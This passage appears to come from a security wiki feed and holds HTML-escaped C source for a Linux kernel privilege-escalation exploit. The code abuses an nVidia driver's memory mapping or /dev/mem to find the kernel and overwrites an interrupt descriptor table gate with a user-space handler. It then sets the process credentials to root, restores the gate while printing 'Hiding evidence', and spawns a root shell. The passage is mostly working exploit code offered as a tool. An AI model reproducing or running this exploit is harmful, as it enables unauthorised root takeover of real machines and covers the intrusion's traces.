      j[0] = j[1] = j[2] = j[3] = 0;&lt;br /&gt;
&lt;br /&gt;
      /* gid, egid, sgid, fsgid */&lt;br /&gt;
      j[4] = j[5] = j[6] = j[7] = 0;&lt;br /&gt;
&lt;br /&gt;
      /* ALLCAPS!!111 */&lt;br /&gt;
      j[10] = j[11] = 0xffffffff;&lt;br /&gt;
      j[12] = j[13] = 0xffffffff;&lt;br /&gt;
      j[14] = j[15] = 0xffffffff;&lt;br /&gt;
&lt;br /&gt;
      return 0;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  return -2;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
struct gdt&lt;br /&gt;
{&lt;br /&gt;
  uint16_t limit;&lt;br /&gt;
  uint32_t base;&lt;br /&gt;
}__attribute__((packed));&lt;br /&gt;
&lt;br /&gt;
static unsigned long getidt()&lt;br /&gt;
{&lt;br /&gt;
  struct gdt idt;&lt;br /&gt;
  memset(&amp;amp;idt, 0x00, sizeof(struct gdt));&lt;br /&gt;
  asm volatile(&amp;quot;sidt %0&amp;quot; : &amp;quot;=m&amp;quot;(idt));&lt;br /&gt;
  return idt.base | 0xFFFFFFFF00000000UL;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
typedef struct gate_struct {&lt;br /&gt;
        uint16_t offset_low;&lt;br /&gt;
        uint16_t segment;&lt;br /&gt;
        unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;&lt;br /&gt;
        uint16_t offset_middle;&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
        uint32_t offset_high;&lt;br /&gt;
        uint32_t zero1;&lt;br /&gt;
#endif&lt;br /&gt;
} __attribute__((packed)) gate_desc;&lt;br /&gt;
&lt;br /&gt;
enum {&lt;br /&gt;
  GATE_INTERRUPT = 0xE,&lt;br /&gt;
  GATE_TRAP = 0xF,&lt;br /&gt;
  GATE_CALL = 0xC,&lt;br /&gt;
  GATE_TASK = 0x5,&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
#define YES_PLEASE 3&lt;br /&gt;
#define PTR_LOW(x) ((unsigned long)(x) &amp;amp; 0xFFFF)&lt;br /&gt;
#define PTR_MIDDLE(x) (((unsigned long)(x) &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF)&lt;br /&gt;
#define PTR_HIGH(x) ((unsigned long)(x) &amp;gt;&amp;gt; 32)&lt;br /&gt;
&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
#define __KERNEL_CS 0x10&lt;br /&gt;
#else&lt;br /&gt;
#define __KERNEL_CS 0x60&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
void dump_gate(gate_desc *gate)&lt;br /&gt;
{&lt;br /&gt;
#if 0&lt;br /&gt;
  uint16_t *p = (void *)gate;&lt;br /&gt;
  unsigned i;&lt;br /&gt;
  for (i = 0; i &amp;lt; sizeof(*gate) / sizeof(uint16_t); i++)&lt;br /&gt;
    printf(&amp;quot;%04x\n&amp;quot;, *p++);&lt;br /&gt;
#endif&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void dump_bytes(void *desc)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  for (i = 0; i &amp;lt; 16; ++i) {&lt;br /&gt;
    printf(&amp;quot;%02x&amp;quot;, ((char*)desc)[i]);&lt;br /&gt;
    if (i &amp;lt; 15 &amp;amp;&amp;amp; (i % 4) == 3)&lt;br /&gt;
      printf(&amp;quot; &amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static inline void pack_gate(gate_desc *gate, unsigned type, unsigned long func,&lt;br /&gt;
                             unsigned dpl, unsigned ist, unsigned seg)&lt;br /&gt;
{&lt;br /&gt;
  gate-&amp;gt;offset_low = PTR_LOW(func);&lt;br /&gt;
  gate-&amp;gt;offset_middle = PTR_MIDDLE(func);&lt;br /&gt;
  gate-&amp;gt;segment = seg;&lt;br /&gt;
  gate-&amp;gt;ist = ist;&lt;br /&gt;
  gate-&amp;gt;p = 1;&lt;br /&gt;
  gate-&amp;gt;dpl = dpl;&lt;br /&gt;
  gate-&amp;gt;zero0 = 0;&lt;br /&gt;
  gate-&amp;gt;type = type;&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
  gate-&amp;gt;offset_high = PTR_HIGH(func);&lt;br /&gt;
  gate-&amp;gt;zero1 = 0;&lt;br /&gt;
#endif&lt;br /&gt;
  dump_gate(gate);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Test mode, not really an exploit, although it does&lt;br /&gt;
// show the option to forbid physical memory is useless&lt;br /&gt;
static int devmem_fd(void)&lt;br /&gt;
{&lt;br /&gt;
  int fd = open(&amp;quot;/dev/mem&amp;quot;, O_RDWR|O_SYNC);&lt;br /&gt;
  if (fd &amp;lt; 0)&lt;br /&gt;
    perror(&amp;quot;/dev/mem&amp;quot;);&lt;br /&gt;
  return fd;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void *xalloc(unsigned long len)&lt;br /&gt;
{&lt;br /&gt;
  void *ret = NULL;&lt;br /&gt;
  posix_memalign(&amp;amp;ret, 16, ((len+0xf)&amp;amp;~0xf) + 16);&lt;br /&gt;
  return ret;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void xfree(void *ptr)&lt;br /&gt;
{&lt;br /&gt;
  free((void*)((unsigned long)ptr &amp;amp; ~0xfL));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char * argv[])&lt;br /&gt;
{&lt;br /&gt;
  volatile uint32_t *handle = NULL;&lt;br /&gt;
  long ret, i, found = 0;&lt;br /&gt;
  char *p;&lt;br /&gt;
  gate_desc gate, gate2[16/sizeof(gate_desc)];&lt;br /&gt;
  uint32_t buf[4];&lt;br /&gt;
  gate_desc *dp = (gate_desc*)buf;&lt;br /&gt;
  uint8_t data[256];&lt;br /&gt;
  uint64_t res = 0;&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;[*] IDT offset at %#lx\n&amp;quot;, getidt());&lt;br /&gt;
&lt;br /&gt;
  // syntax: --dumpmem BAR0, for debugging &amp;quot;cant find my kernel&amp;quot; issues as root&lt;br /&gt;
  if (argc &amp;gt; 2 &amp;amp;&amp;amp; (!strcmp(argv[1], &amp;quot;-d&amp;quot;) || !strcmp(argv[1], &amp;quot;--dumpmem&amp;quot;))) {&lt;br /&gt;
    res = strtoll(argv[2], NULL, 16);&lt;br /&gt;
    handle = nvidia_handle(devmem_fd(), res);&lt;br /&gt;
&lt;br /&gt;
    for (i = 0; i &amp;lt; 0x4000000; i += 16) {&lt;br /&gt;
      physread16(handle, i, (void*)data);&lt;br /&gt;
      write(2, data, 16);&lt;br /&gt;
    }&lt;br /&gt;
    return 0;&lt;br /&gt;
  } else if (argc &amp;gt; 1 &amp;amp;&amp;amp; (res = strtoll(argv[1], NULL, 16))) {&lt;br /&gt;
    handle = nvidia_handle(devmem_fd(), res);&lt;br /&gt;
    if (!getuid()) {&lt;br /&gt;
      setgid(1000);&lt;br /&gt;
      setuid(1000);&lt;br /&gt;
    }&lt;br /&gt;
    if (handle == MAP_FAILED)&lt;br /&gt;
      return -1;&lt;br /&gt;
    printf(&amp;quot;[*] Dry run with /dev/mem as uid %u gid %u...\n&amp;quot;, getuid(), getgid());&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  if ((p = strchr(argv[0], '/')))&lt;br /&gt;
    p++;&lt;br /&gt;
  else&lt;br /&gt;
    p = argv[0];&lt;br /&gt;
  strcpy(taskname, p);&lt;br /&gt;
  tasknamelen = strlen(taskname);&lt;br /&gt;
&lt;br /&gt;
  if (!handle || handle == MAP_FAILED) {&lt;br /&gt;
    uint64_t res;&lt;br /&gt;
    int fd = nvidia_fd(&amp;amp;res);&lt;br /&gt;
    printf(&amp;quot;[*] Abusing nVidia...\n&amp;quot;);&lt;br /&gt;
    handle = nvidia_handle(fd, res);&lt;br /&gt;
    if (!handle || handle == MAP_FAILED)&lt;br /&gt;
      return -1;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  // X86_OF_ENTRY&lt;br /&gt;
  unsigned long idtentry = getidt() + (2*sizeof(unsigned long)*4);&lt;br /&gt;
  pack_gate(&amp;amp;gate, GATE_INTERRUPT, KERNEL_BASE, YES_PLEASE, 0, __KERNEL_CS);&lt;br /&gt;
&lt;br /&gt;
  for (i = 0; i &amp;lt; 256; ++i) {&lt;br /&gt;
    kernel_ofs_phys = i * 1024 * 1024;&lt;br /&gt;
    physread16(handle, virt2phys(idtentry), buf);&lt;br /&gt;
&lt;br /&gt;
    // Copy offsets since we don't really care about them&lt;br /&gt;
    gate.offset_low = dp-&amp;gt;offset_low;&lt;br /&gt;
    gate.offset_middle = dp-&amp;gt;offset_middle;&lt;br /&gt;
&lt;br /&gt;
#ifndef __x86_64__&lt;br /&gt;
    gate.segment = dp-&amp;gt;segment;&lt;br /&gt;
    if (*(uint64_t*)&amp;amp;dp[1] == 0x00000000ffffffffULL) {&lt;br /&gt;
      printf(&amp;quot;[X] 64-bits kernel found at ofs %lx\n&amp;quot;, kernel_ofs_phys);&lt;br /&gt;
      printf(&amp;quot;[X] Compiled for 32-bits only\n&amp;quot;);&lt;br /&gt;
      continue;&lt;br /&gt;
    }&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
    if (!memcmp(&amp;amp;gate, dp, sizeof(*dp))) {&lt;br /&gt;
      printf(&amp;quot;[*] %zu-bits Kernel found at ofs %lx\n&amp;quot;, sizeof(void*)*8, kernel_ofs_phys);&lt;br /&gt;
      found = 1;&lt;br /&gt;
      break;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  if (!found) {&lt;br /&gt;
    printf(&amp;quot;[X] No kernel found! &amp;gt;:(\n&amp;quot;);&lt;br /&gt;
    return -1;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  idtentry = getidt() + (2*sizeof(unsigned long)*ENTRY);&lt;br /&gt;
  printf(&amp;quot;[*] Using IDT entry: %d (%#lx)\n&amp;quot;, ENTRY, idtentry);&lt;br /&gt;
  physread16(handle, virt2phys(idtentry), buf);&lt;br /&gt;
  dump_gate(dp);&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;[*] Enhancing gate entry...\n&amp;quot;);&lt;br /&gt;
  pack_gate(&amp;amp;gate, GATE_INTERRUPT, (uintptr_t)&amp;amp;(testgetroot), YES_PLEASE, 0, __KERNEL_CS);&lt;br /&gt;
  kernel_write(handle, idtentry, (unsigned long)&amp;amp;gate, sizeof(gate));&lt;br /&gt;
  physread16(handle, virt2phys(idtentry), (uint32_t*)gate2);&lt;br /&gt;
  if (memcmp(&amp;amp;gate, gate2, sizeof(gate))) {&lt;br /&gt;
    printf(&amp;quot;[ ] Failed!\n&amp;quot;);&lt;br /&gt;
    return -1;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;[*] Triggering payload...\n&amp;quot;);&lt;br /&gt;
  ret = callsetroot(getuid(), getgid());&lt;br /&gt;
  // And restore old one, I'm kind like that&lt;br /&gt;
  printf(&amp;quot;[*] Hiding evidence...\n&amp;quot;);&lt;br /&gt;
  kernel_write(handle, idtentry, (unsigned long)dp, sizeof(*dp));&lt;br /&gt;
  if (ret)&lt;br /&gt;
    printf(&amp;quot;callsetroot returned %lx (%li)\n&amp;quot;, ret, ret);&lt;br /&gt;
&lt;br /&gt;
  if (getuid()) {&lt;br /&gt;
    printf(&amp;quot;[*] Failed to get root.\n&amp;quot;);&lt;br /&gt;
    return -1;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;[*] Have root, will travel..\n&amp;quot;);&lt;br /&gt;
  execl(&amp;quot;/bin/bash&amp;quot;, &amp;quot;sh&amp;quot;, NULL);&lt;br /&gt;
  perror(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
  return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>